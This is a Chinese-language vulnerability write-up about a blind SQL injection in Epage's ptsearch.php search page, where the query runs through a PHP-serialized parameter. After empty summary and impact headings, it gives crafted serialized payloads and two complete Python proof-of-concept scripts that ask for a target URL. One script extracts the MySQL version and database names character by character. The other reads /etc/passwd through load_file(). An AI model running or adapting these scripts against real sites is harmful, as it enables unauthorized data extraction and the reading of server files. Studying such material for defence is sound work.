Epage sql 注入漏洞¶
一、漏洞简介¶
二、漏洞影响¶
三、复现过程¶
将单引号用来站内搜寻时发现不可注入，正准备放弃时发现搜索结果的第N页的连结中使用了php序列刚好最近学到php序列不安全，未检查的情况下unserialize后会造成许多问题，甚至RCE看了一下序列的长相是否有机可称：
wc=a:3:{s:3:"Key";s:4:"test";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
嗯，是一个序列化过的array，里面的key竟然是我刚才的输入！？试试注入单引号，失败，准备放弃QQ我的输入会显示出来......，那试试XSS好了蛤，报错！？原来没有过滤双引号啊而且还回显了完整的sql语句开始闭合语句
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
查无资料
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
显示查询，以此类推
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),3,1)="0")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
显示查询
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),5,1)="8")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
显示查询
证明存在Boolean Based Blind Injection漏洞，mysql版本为5.0.8
poc1 retrive database¶
可通过poc解析server上的database名称与版本> 同理也可以进一步dump出每个栏位的资料
此外网站也有权限可以load_file（outfile试不出来，可能是没权限或我太菜了QQ）
import requests
import time
print("Blind SQL injection in php Serialize POC")
url=input("Target url:")
url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}"
print("start parsing")
print("")
print("MYSQL version:")
for i in range(1,10,2):
for k in range(0,10):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="substring(version(),{i},1)=\"{k}\"")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" not in r.text):
print(k,end=".")
print("version detect complete,take a break...........")
print()
print()
time.sleep(5)
print("parsing lenth of available database..............")
all_valid_database=0
for i in range(1,50):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>0")
inject_sql= inject_sql.format(i=i)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
all_valid_database = i
print(all_valid_database)
break
print("parsing finish,take a break")
time.sleep(3)
print("start parsing available database")
print("available database:")
for i in range(1,all_valid_database):
time.sleep(2)
for k in range(32,126):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>{k}")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
if (k==44):
print(chr(k),end="")
print()
else:
print(chr(k),end="")
break
poc2 load etc/passwd¶
import requests
import time
print("Blind SQL injection in php Serialize POC")
url=input("Target url:")
url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}"
print("start parsing")
print("")
all_valid_database=1436#如上一個poc的找法，但這次手動二分搜尋法xd，怕用程式跑，太密集會被server擋掉
print("start parsing available file")
print("etc/passwd:")
for i in range(1,all_valid_database):
time.sleep(2)
for k in range(32,126):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(load_file(\"/etc/passwd\"))),{i},1)))>{k}")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
print(chr(k),end="")
break
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